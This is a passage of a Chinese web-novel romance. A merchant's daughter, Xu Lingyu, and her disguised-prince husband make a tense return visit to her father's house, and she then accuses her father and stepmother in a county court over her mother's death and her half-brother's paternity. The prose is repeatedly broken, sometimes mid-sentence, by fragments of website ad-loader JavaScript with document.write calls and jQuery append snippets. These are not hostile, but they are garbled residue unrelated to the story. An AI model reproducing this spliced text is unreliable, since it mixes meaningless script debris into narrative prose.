“没有，你别担心。”于忠迟疑一瞬，终于握住她的手，盯着她眼中担忧的神色，沉声解释，“阿玉成亲了，我特意去看过，那位郎君是位俊朗书生，性子很好，是阿玉喜欢，自 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 己愿意嫁的。阿玉成亲，在桂花巷外摆了肉摊，路过的街坊乡亲，她都送上一块好猪肉，乡亲们都回赠一句吉祥贺词，写在红丝带上，小院里的玉兰花树上，系满了红丝带。” “阿茴，那是阿玉和她夫君亲手所系，想给你看的。” 于忠说着，接过孟茴的帕子，笨拙又匆忙地替她拭泪。 “她是个好孩子，我对不起她。”孟茴嗓音哽咽，泪如雨下。 于忠攥着帕子，展臂将孟茴紧紧抱入怀中：“阿茴，是我对不起你。” 孟茴抬眸，泪眼朦胧，央求：“能不能让我出去见她一面？就一次，只让我看到她便好。” 室内寂然半晌，于忠别开脸，轻叹：“阿茴，你知道的，我不能背叛王爷。” “可你十五年前就已经背叛了！你以为只要你忠心，他就会继续当你是心腹吗？！”迫切想见到许菱玉，孟茴一改平日里的娴静，情绪激动，眼中含着嘲弄。 于忠脊背登时僵住。 孟茴以为，提起他此生最后悔的事，他会恼羞成怒离开。 没想到，于忠只是背过身去，望着静静燃烧的烛光，继续说起许菱玉的事。 直到这时候，孟茴才知道，朝廷要为皇子们选正妃，阿玉也在待选之列。 知道她的阿玉聪慧，不仅嫁给如意郎君，还从许淳手里拿回她所有嫁妆。 “谢谢。”孟茴流了太多泪，嗓音有些哑。 “往后，我会多与你说说阿玉的事。”但他绝不会告诉孟茴，阿玉嫁的书生，是强逼着对方嫁的，且对方不是好拿捏的文弱书生，而是当朝二皇子。 他知道孟茴最牵挂的人便是阿玉，他不能让孟茴再多一些提心吊胆。 “我虽不能带你出山见她，却可以替你带一样东西。”于忠转过身来，将事先备好的红丝带递给她，“阿茴，你想对阿玉说些什么？” 孟茴微怔。 这一宿，她几乎没合眼，为许菱玉开心，也未她担心。 十余年，攒了多少想说的话，一条小小的红丝带，如何写得下？ 天亮之后，于忠要走了。 孟茴拿着写好的红丝带，递给他。 桂花巷小院里，许菱玉坐在窗内，勾划着明日回门的礼单。 蓦地，她眼尾余光察觉到，有什么东西在院中飘落。 她侧眸望去，一条红丝带，已落到院中青石板上，被夜风卷动。 许是今夜的风有些大，高处没系紧的红丝带，不小心被吹下来了。 金钿顺着她目光往外看，也看见了：“小姐，我去捡起来。” “不用，我自己来。”许菱玉起身，将礼单交给金钿，“就照这上面置办吧，你去库房收拾。” 言毕，她走出门扇，步入中庭，躬身拾起被吹卷的红丝带。 细细一看，上面写着“平安如意”。 平安如意？许菱玉笑，在满树飘曳的祝福中，这算是顶简单的一句，甚至不像新婚贺词。 不过，很合她心意。 上面的字迹也娟秀好看，应当出自女子之手，但显然不是金钿的字。 清江县里，能写一手好字的女子，可不多见。 许菱玉一时想不起来，那日哪位女子是自己写的贺词。 但是谁不重要，心意最重要。 许菱玉收起红丝带，没挂回玉兰树上，而是拿回屋里，放在案头，拿镇纸压着，算是为书案添一件陈设，倒也雅致。 19. 玉璧 桌案上摆着灯烛，红丝带上的字迹看得更清楚些。 不知怎的，许菱玉瞧那字迹有些眼熟，似乎在哪里见过。 或许是表姐写的？ 可她印象中，表姐的字没这样好看。 金钿进来禀话，说是回门礼已备好，请许菱玉过目。 许菱玉便没再盯着琢磨，而是随金钿去看她从库房取出来的几样东西。 都是瞧着大气，却不贵重的，不会让许淳他们占便宜，许菱玉很满意。 就是不知道，她打的那一巴掌，二太太的气消了没有？ 许菱玉微微弯唇，见贾秀才进来，少不得叮嘱他几句，也同他说说许家的情况。 “成亲那日，你也见着了，我与二太太不甚和睦，明日他们若有意为难你，你莫要放在心上，让他们只管找我说话。”许菱玉俨然要把所有事都揽在身上。 秀才说过要照顾她，她却没想过遇事靠秀才去解决。 秀才尚无功名，在清江县举目无亲，又没给许家什么聘礼，许家的人恐怕都看不起他，靠他也解决不了什么问题。 顾清嘉听出她言外之意，轻问：“在阿玉眼中，我就这般没用么？遇到难事，需要自己的娘子出面维护？” 还挺有骨气，许菱玉笑望他：“你若能自己摆平，我还乐得轻松呢。” 目光不经意落在秀才浅笑的薄唇，许菱玉想起被他拒绝的事，笑意微滞，神情变得有些不自在。 她别开脸，先行转过身去，朝屏风后走：“时辰不早，安歇吧。” 秀才浅笑的俊颜，被她强行挥散，可话本子里的那几句不清不楚的描写，却让她心口发热。 纵然好奇，她也再不会主动的。 想想被拒绝的窘境，真是羞死人了！ 许菱玉朝里卧着，不看贾秀才。 可身后窸窸窣窣的动静，却让她无法忽视。 她卷着自己的薄衾，往里挪了挪，尽量避免不该有的碰触。 暗暗咬着唇瓣，合起的眼睫微微颤动，羞赧又懊恼。 定是她有段时日没去听戏，没看瓦子里的英俊武生，样貌风仪出众的贾秀才，又成日里在她眼前晃，才屡屡勾动她凡心。 对，明日回门后，晚上她先不急着回来，去瓦子里听戏，欣赏武生的身条、拳脚。 见的好东西多了，自然就不会再惦记碗里这一口。 察觉到她的疏离，顾清嘉心内泛起涟漪。 明明昨夜相谈甚欢，今日相处也无异常，她这般情状，却是为何？ 都说女人心，海底针，女儿家的心事，顾清嘉从未费心去猜。 就算是失去父兄，他多照拂一分的魏小姐，他不曾想去了解对方在想什么。 不知怎的，望着床里缩成一团装睡的许菱玉，顾清嘉忽而没了睡意。 他忍不住去想，他今日做了什么让许菱玉不高兴？还是许菱玉在为明日回门伤脑筋？ 毕竟她当着众宾客的面，打了继母，恐怕明日她那位继母不会善了。 他虽只是名义上的夫君，但也不会任由她被人欺负。 顾清嘉不会宽慰人，没说什么宽慰她的话，他想了想，隔着薄衾，将大手搭在许菱玉肩头，轻轻摇了摇：“阿玉，我知道你没睡，你转过来，我有话想问你。” 他有话想问，她便要转过身去，好叫他问么？ 她想亲近他的时候，怎不见他乖乖听话？ 偏偏那样的事，许菱玉还无法义正言辞指责他不听话。 许菱玉不肯让他如愿，眼皮闭得更实，呼吸也刻意放轻，假装睡熟。 身后男子倒没再唤她，但也没拿走放在她肩头的手。 黑暗里，她感觉格外敏锐。 离她脊背更近处的床褥往下陷了陷，温热贴近，似乎是男子的胸膛。 “阿玉。”秀才低唤她。 嗓音并非从身后传来，而是耳朵上方。 许菱玉一惊，陡然睁眼，稍稍侧身，像是滚入他怀中。 帐内光线昏暗，她看不清秀才居高临下睥她的眼神，却清晰感受到搭在她肩头的手，握紧了些。 “你，你做什么？”怀中佳人气息如兰。 顾清嘉觉得，黑暗中定有看不见的恶鬼，才让他鬼迷心窍，窜起一股想亲她的冲动。 幸而，他惯常自持。 方才低下一寸，感受到佳人口唇馨香气息，猛地回神，松开扣在她肩头的手。 “阿玉，你我已是夫妻， (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 你是不是该与我说说，那块玉璧是你从哪里找来的？”顾清嘉问出心中压制许久的疑问，掩饰片刻失态。 他语气那样自然，听不出一丝情绪波动。 许菱玉疑惑不已，她以为秀才方才想亲近她，原来是她会错意么？ 都说日有所思，夜有所梦，她对他已经垂涎到白日做梦的地步了？ 不至于，纵然他生得俊，处处合她心意，她应当也不至于堕落至此。 “你问这个做什么？”许菱玉为自己的胡思乱想羞臊，没好气道，“你明知婚约是我胡编乱造的，是玉璧也好，是旁的信物也罢，都是假的，糊弄外人的。” “是，我知道玉璧并非你我订婚信物。”顾清嘉坐直身形，微微颔首，“只是，我看那玉璧不像凡品，还是想听你说说，往后若有外人问起，你我说法一致，也能圆上是不是？届时，便没人会知道婚事是假，哪怕皇上来，也无法问你躲避择选的欺君之罪。” 前头那些，许菱玉听着还有道理，没想到说到后面，秀才拿她当小孩哄。 “皇上日理万机，哪有空理会这细微小事？玉璧的来历，也没什么特别，你想知道，我告诉你便是，何须你这般危言耸听吓唬人？” 许菱玉轻哼一声，平躺着，仰面望他：“玉璧是我娘留下的，玉质虽贵重，应当也不是什么特别的东西，我小时候还拿着玩过，不小心摔坏了，断成两半。芹姨想找人修修，就收起来了，可一直没找到手艺够好的金石匠人。我也是偶然想起，才拿它出来用用，越是贵重，越能糊弄人。” “原来如此，阿玉当真聪慧过人。”顾清嘉轻赞。 看起来许菱玉也不知道玉璧的具体来历，顾清嘉便没再追问，以免让她察觉出，他对那玉璧格外重视。 许菱玉的阿娘孟氏，年纪应当比父皇小些，估计与宁王叔差不多大。 皇祖父恐怕都未必认得，更不会对这样的小辈怅然。 若玉璧的主人，是皇祖父的故人，那只会是更上一辈。 是许菱玉的外公吗？ 可他若与皇祖父是旧识，让皇祖父到老仍记挂着，又怎会流落民间，泯然众人？ 顾清嘉没有头绪，忽而想到，或许改日他可以试试宁王叔认不认得。 20. 回门 清早，天未亮，顾清嘉已然起身，在后院僻静处，练了半个时辰筋骨。 “公子，宁王密信。”长缨沉声奉上卷起的字条。 顾清嘉拿棉巾擦擦额角的汗，接过字条，展开扫一眼，便拿指腹搓碾成齑粉。 “告诉来人，我今日晚些时候过去。” 漱洗毕，收拾妥当，回到屋内，顾清嘉走进落地罩，便见许菱玉坐在妆台前梳妆，金钿正替她挽发。 今日回门，她发髻梳得繁复精细些，将她一张芙蓉面衬得极好，美得像一尊叫人指尖发痒的玉娃娃。 金钿拿起一支红珊瑚簪子，想替她簪上。 顾清嘉上前，轻道：“给我吧。” 许菱玉面朝菱花镜，瞥他一眼，继而冲金钿使使眼色。 金钿将簪子交给许菱玉，默然退出去。 顾清嘉则站到她身后，接过她手中红珊瑚簪子，略躬身，望着镜中佳人，找个合适的位置，插在她发间。 “好看。” 许菱玉笑：“言不由衷。” 她侧过身，站起来，却被秀才牵住袖口。 许菱玉垂眸，瞥见他的举动，细密的睫羽轻轻一颤，她顿住脚步，面露疑惑：“秀才，你有要紧事想说？” “阿玉，那块玉璧，可否借我再看看？明日便完璧归赵。”今日去见宁王叔，正是打探玉璧来历的好机会。 “又是玉璧，秀才，你似乎很看重我那块玉璧？为什么？你是不是从前在哪里见过？”许菱玉读过的话本子里，有各种巧合，此刻她不由得也想到一种可能，“该不会你家也有过这样一块玉璧吧？难不成我们真有婚约，我骗你还是歪打正着了？” 阿玉果然敏锐。 不过，她的天马行空，让顾清嘉忍不住失笑。 “贾家并没有这样好的东西。”顾清嘉摇头，他已想好借口，“你昨日不是说，芹姨曾经想要修好玉璧，没遇上手艺精湛的匠人么？我正好知道一个，想今日晚些带去给他看看，若能修好，也是你我的缘分。” 缘分？他究竟是想帮她修玉璧，还是察觉到她昨夜的不自在，想做些事讨好她，与她重修于好？ 不得不说，这一席话，听得许菱玉心头暖意融融，几乎要被他哄好了。 “行，”许菱玉回转身，藏起唇畔掩饰不住的笑意。 可她一时欢喜，竟忘了人虽背对着他，顾清嘉却能从妆镜中窥见她唇畔笑意。 佳人螓首微垂，墨云般的发髻斜坠脑后，一小截后颈白皙细腻。 透过妆镜方能瞧见玉颜，她气色佳，白白净净的，看不出脂粉痕迹。 似乎只描了黛眉，两片小巧红润的唇平添艳色。 唇角无声扬起，乌压压半敛的睫羽下似乎也藏着笑。 端得是灵动娇艳，似一支将开未开的垂丝海棠。 是在为玉璧能修好而欢喜么？ 他说那话，原不过是为拿到玉璧，而找的借口。 顾清嘉面色如常睥着她，心内却被她笑意感染，改了主意。 罢了，念在她爽快答应的份儿上，他费些心思，尽量替她修补便是。 许菱玉丝毫不曾察觉背后的视线，她拉开妆奁最底下的小屉子，取出帕子包着的玉璧，又找来一只大小合适的方形锦盒，装好，递给他：“拿去吧，说好明日还我，可不许弄丢了。” “娘子有命，莫敢不从。”秀才含笑应，伸手接下。 男子握手锦盒的大手，骨节修长，肌肉匀停，甚是好看。 让人不禁联想到赋诗、点茶、调琴，诸如此类，各样风雅事。 他若主动做那些风雅事取悦她，不知该是多赏心悦目的情景。 可惜，这书呆子，只知道劈柴、打水，干些粗活。 许菱玉目光恋恋不舍，从他握着锦盒，如竹似玉的指背移开，窃窃欢喜，又暗自懊悔。这呆子好不容易知道悄悄修玉璧，给她惊喜，她问这么清楚做什么？！ 按清江县的规矩，回门这日，但凡讲究些礼节的人家，岳父、岳母都会在大门外等着，亲自迎接闺女和新姑爷上门。 可许菱玉一行，携礼来到许家门外，只见到许成琢一个半大少年，许淳和韦淑慧都不见人影。 许菱玉静静看着窘迫心虚的许成琢，立在石阶下，没再挪步。 她不进去，就让许成琢在大门口解释，传出什么不好听的，可怪不着她。 没曾想，许成琢抓耳挠腮，还没想好怎么开口，素来温和听话的贾秀才先开了口：“阿玉，县丞大人夫妇今日不在，我们回去吧，改日我再陪你回来。” 闻言，许菱玉愣了愣，随即轻笑出声。 她侧过脸，水灵灵的眼亮晶晶地望着顾清嘉：“秀才，你说得对，咱们走！” 话音刚落，她调转足尖，纤手搭在贾秀才臂弯，作势要走。 许成琢慌忙跑下门阶，展臂挡住许菱玉去路：“阿姐别走！爹在花厅等着呢，娘临时有事出去片刻，他答应我，很快回来，不是有意怠慢你和姐夫的。” 不露面就代表不欢迎，这许家她许菱玉还不稀罕回来呢！ 许菱玉不想惯着他们的臭毛病，轻斥：“让开。” 下一瞬，贾秀才却忽而抬手，猝不及防覆上她搭在他臂弯处的手背，语气平和哄道：“阿玉，县丞大人腿脚抱恙，我们岂能坐视不理？附近便有家医馆，我去请位大夫来看看可好？” 站在大门后，透过门缝冷眼瞧着的许淳，终于听不下去，负气大步迈出门槛：“谁说我腿脚 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 抱恙了？贾秀才，我是你岳父，你却这样咒我，乃是忤逆不孝！” “小婿不敢。”贾秀才似乎并不惊诧，也没被许淳的态度吓着。 许菱玉压下对许淳的不屑与憎恶，脑子转得飞快，朗声道：“明明是许成琢说的，爹爹怪秀才做什么？纵然他贾家如今落魄了，他也是女儿的夫君，爹爹这般冤枉他，是希望女儿与他因此生出嫌隙，不能好好过日子么？” 她语速快，许成琢急得直冒汗，却插不上嘴。 许菱玉还越说越委屈：“爹故意藏在门口，等着让成琢给秀才难堪，您就是看不起秀才。” 女儿放着飞上枝头做凤凰的机会不要，偏偏嫁给一个一无是处的穷书生，许淳焉能不恨？ 他对许菱玉是有愧疚，便把一腔怒气对准贾秀才。 哪知，两人才成亲短短几日，阿玉就这样维护一个外人。 许淳更气了。 可他们在门口起争执，已引得不少路人驻足围观，许淳总不能真让人看出他的心思，他丢不起这人。 再训斥贾秀才是不合适了，许淳转而盯着许成琢：“让你传个话都传不好，还不进来！” 言毕，转过身，走上台阶。 生怕许菱玉夫妇不跟上似的，侧过来，克制着恼怒，还算和软道：“阿玉别误会，都是一家人，爹既同意这门婚事，就不会看不起卿固，爹盼着你们回来呢，进屋慢慢说。” 成琢不懂事，都是随了韦淑慧。 好端端的，非说要自己亲自去挑选最鲜活的鱼，回来煎了，给他们翁婿下酒。 淑慧对阿玉尚且存着恨呢，会如此厚待贾卿固这个穷秀才，许淳不信。 可这段时日，他们之间争吵越来越多，他已有些倦了，不想阿玉他们回来看笑话，便随她去了。 不过是买条鱼，许久不见回来。 许淳想着想着，眼皮子直跳，止也止不住。 许菱玉没在意许淳在想什么，她微微垂首，盯着自己被他握过的手背，片刻失神。 秀才的手可真大，能轻易将她手背全然包裹，收入掌间。 他一个书生，指根竟也磨出了略感粗砺的薄茧，定是这几日粗活做多了的缘故。 今日来许家，他表现不错，回头免他些粗活养养，下回便不会硌着她了。 进到花厅，许菱玉捧起茶盏，没多想。 倒是顾清嘉，目光有意无意扫过她手背时，修长的指骨悄然蜷了蜷。 少女纤手柔弱无骨，肌肤细腻温润的触感仿佛还残留掌心。 她素来不肯委屈自己，随时亮出小爪子挠人，小老虎似的，实则柔软得像只糯糕团子。 从前，顾清嘉以为，能让他爱不释手的，唯有杀敌的长刀利箭。 21. 守护 许成琢想不通，明明他听从父亲安排，反而被父亲痛骂。 进屋后，他觉着在新姐夫面前没脸，便借故说去找找母亲，离开花厅。 厅内，许淳盯着贾秀才，上上下下打量一番，眉心紧拧。 知女莫若父，贾秀才生得丰神俊逸，仪表堂堂，难怪阿玉会喜欢。 且不说是孟茴生前定下的婚约，即便不是，恐怕阿玉也只想嫁这样的俊美郎君。 女儿护着贾秀才，他这会子也不好再接着说难听话，可他对贾秀才无话可说，便端出慈父姿态，躬身问许菱玉：“阿玉，你这几日过得好不好？若有什么委屈，告诉爹爹，爹好歹是个县丞，能为你撑腰。” “他待我很好。”许菱玉有心刺一刺许淳的心，说一句“比你当年对我阿娘好多了”，可当着贾秀才的面，她到底忍住没说，语气却有些不耐烦，“既然二太太不欢迎我们，我与秀才喝口茶便回去，就不在许家用午膳了。” “什么许家？这里也是你的家。”许淳听着不舒服，却无法对女儿发脾气。 大抵是他最近与韦淑慧不合，时常想起孟茴的缘故，望着女儿娇艳的容颜，只觉与当年的孟茴越来越像。 若非当年他夹在孟茴和父母之间难做，迫于孝道，执意为阿玉改姓。 就算孟茴那晚知道他在外面有了人，应当也不会说要与他和离，伤心欲绝地跑出去。 当年他并没有背弃孟茴，说要纳韦淑慧做小，也是没法子的事，他喝多酒认错人，碰了人家姑娘，韦氏腹中还有了他的骨肉，他能如何？ 这些无奈，他同孟茴说过，也哀求过，可孟茴就是不肯原谅他。 告诉孟茴之前，他心内煎熬，曾告诉父母，他做了对不起孟茴的事。 那时候，只有父母宽慰他，母亲说他并非犯了什么不可饶恕的错误，且孟茴只生了个闺女，还不肯随许淳姓。万一韦氏怀的是男胎，好歹能为许家留个后。 是啊，那时他已是举人老爷，还当了县丞，娇妻美妾，仕途有望，春风得意，他想为许家留一脉香火，又有什么错呢？ 可惜，孟茴终不能体谅他的难处，以致阴阳两隔。 想起旧事，徒添伤悲，许淳稳稳心神，语气软下来，语重心长道：“韦氏没有不欢迎你，她还特意亲自出去挑选河鲜，怕下人挑的不够好。阿玉，她毕竟也是你的长辈，你当着那么多人的面打了她的脸，总得允许她避一避，缓一缓，再见面不是？” 许菱玉没耐心听许淳和稀泥，气笑了，扬起下巴应：“你怎么不问问她说了什么好听的呢？” “她说，咒我和我短命的娘一样，夫妻离心，不得好死。”许菱玉盯着许淳震惊的眼神，话锋一转，“幸好，秀才和你不一样。” 她和许家几个，本就不是一路人，碍于亲缘，才绑在一起十余年。 如今，她羽翼丰满，再不必委屈自己分毫。 “秀才，我们走！”许菱玉起身。 稍稍捉起裙摆，大步迈出门槛。 她只顾着许淳的反应，却没注意到，顾清嘉听到那句毒咒时，骤然冷厉的眼神。 “阿玉……”身后传来许淳发颤的轻唤。 许菱玉以为自己可以不在乎许淳的感受，可听出他声音里的痛苦，她脚步仍是不受控地滞了滞。 下一瞬，有人轻轻握住她捉裙的手，宽厚的掌心温暖拢住她手背。 “阿玉。”顾清嘉轻唤。 想说他与许淳不一样，他不会与她离心，更不会让她步她阿娘后尘。 可理智回笼的一瞬，他抿直薄唇，将几欲出口的话，生生咽回去。 喉间有什么情绪，不上不下，发堵。 顾清嘉心口闷闷的。 可他须得明白，他与许菱玉之间，连结发同心尚不可能，何谈离心？他很快会回去京城，不可能守护许菱玉一生一世。 山高水长，非亲非故，他有何立场保她一生无虞？ 许菱玉知道他的性子，大抵说不出什么哄人的话。 他能当着许淳的面，握住她的手，向许淳映证她方才说的话，于她而言，已经足够。 “我没事。”许菱玉眼睫微敛，轻轻摇头。 她鬓边步摇，垂着艳细的红珊瑚流苏坠子，原本衬得她容颜娇艳灼然。 此刻，她细密纤长的睫羽藏起眼底真实的情绪，叫人想起雨后潮湿的花，格外惹人怜惜。 顾清嘉长指收拢，将她小手结结实实握住。 许菱玉牵牵唇角，举步刚要往外走，忽而瞧见高澍带着两个差役快步跑进来。 “许叔，许叔，出事了！”高澍急着找许淳。 喊着喊着，一抬眸，先看到许菱玉和顾清嘉。 目光扫到顾清嘉那刻，他扬得高高的嗓音，急转直下，身板也不由地站直。 余光瞥见许淳从花厅出来，他也顾不上，先冲许菱玉道：“阿玉，二太太在公堂上向马县令告你不孝不悌，你，你和贾公子要不要去看看？” 许家离县衙不远，不多时，许菱玉一行被请入公堂。 平日里，许淳都站在马县令身边辅助。 而今日，他走到韦淑慧身侧，压低 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 声音怒斥：“你又要闹什么？家丑不可外扬，你要什么我补偿就是，何必闹得人尽皆知？！” 许菱玉成亲，几乎搬空了许家，韦淑慧气病了还要起来给她张罗婚仪。 到头来，得到什么？换来许菱玉的一巴掌，和许淳十余年如一日，要她委曲求全！ 她偏不要，她受够了！ “老爷也知道，你的好女儿不孝母亲，不悌手足，是家丑？”韦淑慧抛开素日的端庄娴雅，朗声道，“马大人，许菱玉掌掴我这个做母亲的，您也是亲眼所见，她自小打压成琢，就连成亲，也要半空许家，不给成琢留一点儿老婆本，您可派人详查。民妇状纸上所书，若有半句虚言，天打雷劈。” 公堂乃威严不可侵犯的重地，围观的百姓听到韦淑慧发重誓，便不由自主偏向她一些。 “韦太太说得没错，那天我看到许娘子打人了。” “真的？许娘子也太不应该了，就算是继母，也是长辈，养她十几年，养个白眼狼？” 有那家中不合的老人，更是感慨：“哼，现在的年轻人，几个懂得孝顺长辈？别说是继母，就是亲生的，也不见得就有多孝顺。打人更是不对，希望马大人秉公严惩。” 也有念许菱玉好的，听不下去，忍不住为她说话。 “那天我也看到了，可我觉得一个巴掌拍不响吧，焉知不是许娘子受了韦氏太多苛待，才会动手？” “我也觉得许娘子不是那样的人，我在桂花巷领过不要钱的好猪肉呢，许娘子亲手送的！” 外头众说纷纭，公堂里，许淳与韦淑慧也起了争执。 马县令一拍惊堂木：“肃静！” 转而看向许菱玉：“许菱玉，你有什么想说的？韦氏说的可否属实？” 顾清嘉端身而立，凝着许菱玉侧脸，眼中流露出他自己也未曾察觉的忧色。 “我可以帮你。”他声音很轻。 许菱玉不懂这话的分量，以为秀才要为她逞英雄。 “不用。”她微微摇头。 “大人，二太太所言，纯属胡言乱语，许菱玉所作所为，无愧天地。”她身形纤细，脊背挺拔，气势逼人。 在众人疑惑的眼神中，许菱玉跪到水磨石地砖上，郑重朝上首拜道：“大人，民妇许菱玉，状告县丞许淳及其二太太韦淑慧早年狼狈为奸，害死我生母孟氏，谋夺其嫁妆，请大人明察！” “杀母仇人，欲啖其肉，谈何不孝？”许菱玉被顾清嘉环住肩膀扶起，目光坚定扫过众人，在许淳面上定格，“至于不悌，许县丞确定，许成琢是我弟弟吗？” 22. 相信 一石激起千层浪。 “你这贱蹄子血口喷人！”韦淑慧面色发白，踉跄着冲过来，眼神凶狠来抓许菱玉。 顾清嘉松开许菱玉肩膀，上前一步，颀长的身形将许菱玉挡去大半：“马大人，有人藐视公堂，欲动私刑。” “放肆！”马县令盯着韦淑慧，心里冒火。 宁王爷定的期限，已然过半，他对药材失踪一案，还一点有用的东西也没查到，眼看着性命不保。 头发大把大把掉，夜不能寐。 偏偏韦淑慧还没事找事！ 要不是韦淑慧非要来找许菱玉麻烦，许菱玉又怎么会给他闹出两桩新官司？ 孟氏是被谁害死的，前任县令早已定案，眼下他没闲工夫办那吃力不讨好的旧案。 至于许成琢是不是许淳的种，又关他什么事？他们一家子，大可以关上门自个儿吵吵去。 马县令看看外头越来越多的围观百姓，只觉脑仁像被人拿着锤子在敲。 这么多双眼睛看着，他又不能公然不管。 再者，许淳平日里鞍前马后，好听话说了不少，于情于理，他的拉许淳一把。 把眼前最简单的一桩事弄清楚，便算给今日闹剧一个交代了。 马县令瞥一眼许淳，暗叹一声，转向许菱玉：“阿玉，你母亲的事，乃是陈年旧案，库房的卷宗里都有详细记录，你若不服，本官可以破例调出来给你看看。今日我们先说说成琢的事，这里是公堂，你切不可信口雌黄，成琢的事，你是不是有什么证据？” 许淳眼睛泛红，满含痛苦。 他知道阿玉对他心怀怨恨，可他无法还她一个活生生的娘亲，只能尽力补偿她。 这么多年，凡是能做的，他哪样没顺她的意？ 本以为，不逼阿玉入京，让她嫁给心仪的郎君，他们父女之间能有所缓和。 岂料，阿玉对他的怨恨，变本加厉，甚至不惜当着众人的面，给他们许家编排出这样的丑事。 “阿玉。”许淳缓步走近，隔着顾清嘉，望着许菱玉，仿佛竭力平复之后，才道，“告诉马大人，你方才说的都是气话，随爹爹回去，韦氏出言不逊在先，我会让她向你赔罪。” 上首的马县令疑惑了。 外头围观的百姓也疑惑。 听许县丞的意思，韦氏状告许娘子不孝不悌，罪责其实在韦氏身上？ “爹。”许菱玉应他一声，随即向上首福身施礼，“大人，民妇有证据。” “阿玉！”许淳掷地有声，嗓音发颤，“是不是要爹跪下来求你，你才解气？” 说着，他双膝颤抖，当真要朝许菱玉跪下。 他刚刚屈膝，便给顾清嘉稳稳扶住。 顾清嘉力气大，轻而易举将他扶正站直，不容拒绝。 “岳父大人莫要逼迫阿玉。”顾清嘉语气温和，劝道，“我相信阿玉不会无故冤枉人，不如等请来证据再说。” 随即，侧过身，望着许菱玉，温声道：“证据是什么？我去取。” 许菱玉痴痴望着他，心内暖暖，却也生出对可依赖的对象才会有的委屈。 在他挡住韦淑慧的时候，在他扶起许淳的时候，在他为她说话的时候，她一直这般望着他背影。 贾秀才身量高，肩宽腿长，但他家底薄，无权无势，许菱玉从未想过可以依靠他什么。 直到今日，望着他背影之时，她忽而觉得他那样高大，伟岸到可以为她挡去些许风雨。 她不怕事，什么都可以自己去面对，也习惯了自己解决。 可当有人站定地站在她身前，用宽厚有力的臂膀护着她，不问前因后果地信她说的话，给她的感觉，是这般踏实安宁。 她想要的简单安稳的日子，仿佛近在眼前。 “好，你回去找金钿，就说我要那幅从檀州带回来的画像。”许菱玉一点儿也没难受，她浅浅含笑，“麻烦你了。” 顾清嘉颔首，凝着她眉眼，没多说什么。 “大人，可否借马一用？”顾清嘉长身玉立，面朝马县令，不卑不亢，气度卓然。 “借，借。”马县令连连点头，“高澍，把你的马牵来给他。” 等高澍请顾清嘉出去，马县令望着顾清嘉背影，仍有些恍惚。 他方才是怎么了？对方明明就是个寻常书生，他怎么在对方身上感受到，宁王爷身上才有的说一不二的压迫感？ 马县令想了想，应当是对方相貌不俗，气质出尘，这样的人通常会有大造化，封侯拜相也未可知。'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 定是对方身上异于常人的气质，让他下意识听从。 马县令决定顺从直觉，对贾秀才客气些，眼下对他来说举手之劳，以后对方发达了，可能还有回报他的时候。 马蹄声渐远，听起来便知其骑术娴熟。 许菱玉听着外头的动静，忍不住去想贾家败落前，秀才过的是怎样的日子？ 寻常人家养不起马，或是养牛，或是养骡子拉车。 秀才能熟练骑马，说明贾家原先是能养得起马的人家，他能时常练习。 许菱玉忽而想起长缨的名字，听说是秀才给起的，这可不像是书香门第会起的名。 该不会，他们贾家还有习过武的吧？ 秀才看起来不像，其他人许菱玉暂时也见不着，便不再多琢磨这些。 马大人嫌麻烦，不愿与许淳交恶，不愿翻案，是许菱玉意料之中的事。 她特意提出两桩事，就是想着，马县令总不好两桩都不办。 本来她与韦氏没什么关系，谈不上恨不恨，所以拿到画像之后，她只默默收着，什么也没做。 谁让韦氏想不开，非要来惹她呢？ 那就顺手做点什么，好叫他们知道，成亲时，她从许家拿走的一切，都是她名正言顺应得的。 骑马确实快很多，没等多久，许菱玉便再度听到外头的马蹄声，迅疾，越来越近。 她转过身，看到围观者自动分开的通道那端，秀才长腿一迈，从马背上跃下，倜傥潇洒。 是与他平日里斯文儒俊的模样，全然不同的姿态。 许是刚刚长街纵马，他英隽的眼中，多了几分奕奕神采，望之越发英伟不凡。 “谢谢。”许菱玉从他手中接过系着绳结的画卷，没着急展开，从袖中抽出一方干净的绢帕，不着痕迹塞到他手里，“擦擦吧。” 随即，她转过身，款步上前，亲手将画卷交给马县令：“大人不妨看看这个。” 韦淑慧不知证物是什么的时候，焦急不已。 偏偏她哥今日没在衙门，她没有帮手。 这会子看到许菱玉拿来一张不知道什么破画，韦淑慧心弦陡然松下来，眼底透出绝处逢生的笑。 还以为小蹄子真有什么证据呢，白担心了。 23. 娘子 马县令接过画卷，将细细绳结拉散。 正欲打开，外头又一阵马蹄声。 马县令疑惑地朝外望去，以为还有什么证据送来。 却见来人是衙门里的韦捕头，骑着衙门配的大马，背后还载着许成琢。 韦捕头乃是许成琢的舅舅，韦淑慧的亲哥。 任谁都看得出，是有人悄悄给韦捕头通风报信，他特意赶回来帮忙的。 “大人，莫要听她一个小丫头胡言，当年她都不到三岁，知道什么？我们长辈才清楚。”韦捕头朝着马县令抱拳，又瞪着许淳，“许大人，你摸摸自己的良心，成琢到底是怎么来的？你竟怀疑我妹妹！” 许成琢再一次觉得，他是家里最懂事，最无辜的那个。 娘惹不起却偏要惹阿姐，爹身为一家之主，哪个都管不住。 他不惹事，老老实实在家待着，不来衙门掺和，以免夹在阿娘和阿姐中间难做。 没想到，人在家中坐，祸从天上来。 阿姐为打败阿娘，竟然当着所有人的面，说他不是爹的亲生儿子！ 离谱的是，这样荒谬的气话，马大人还当堂审起来了。 听舅舅说，阿姐手里还有证物。 许成琢跟着舅舅过来，就想当面问许菱玉一句话。 “阿姐，你就这么讨厌我吗？”许成琢谁也不管，径直走到许菱玉面前，双眼泪光亮晶晶地望着她，“家中钱财，你若喜欢，可以都拿走，但你怎么可以不认我这个弟弟？长大以后，我没再和娘一起欺负你。” 闻言，顾清嘉负于身后的手，指腹稍稍使力，捻了捻。 许菱玉小时候经常被他们欺负吗？许淳是个死的吗？ 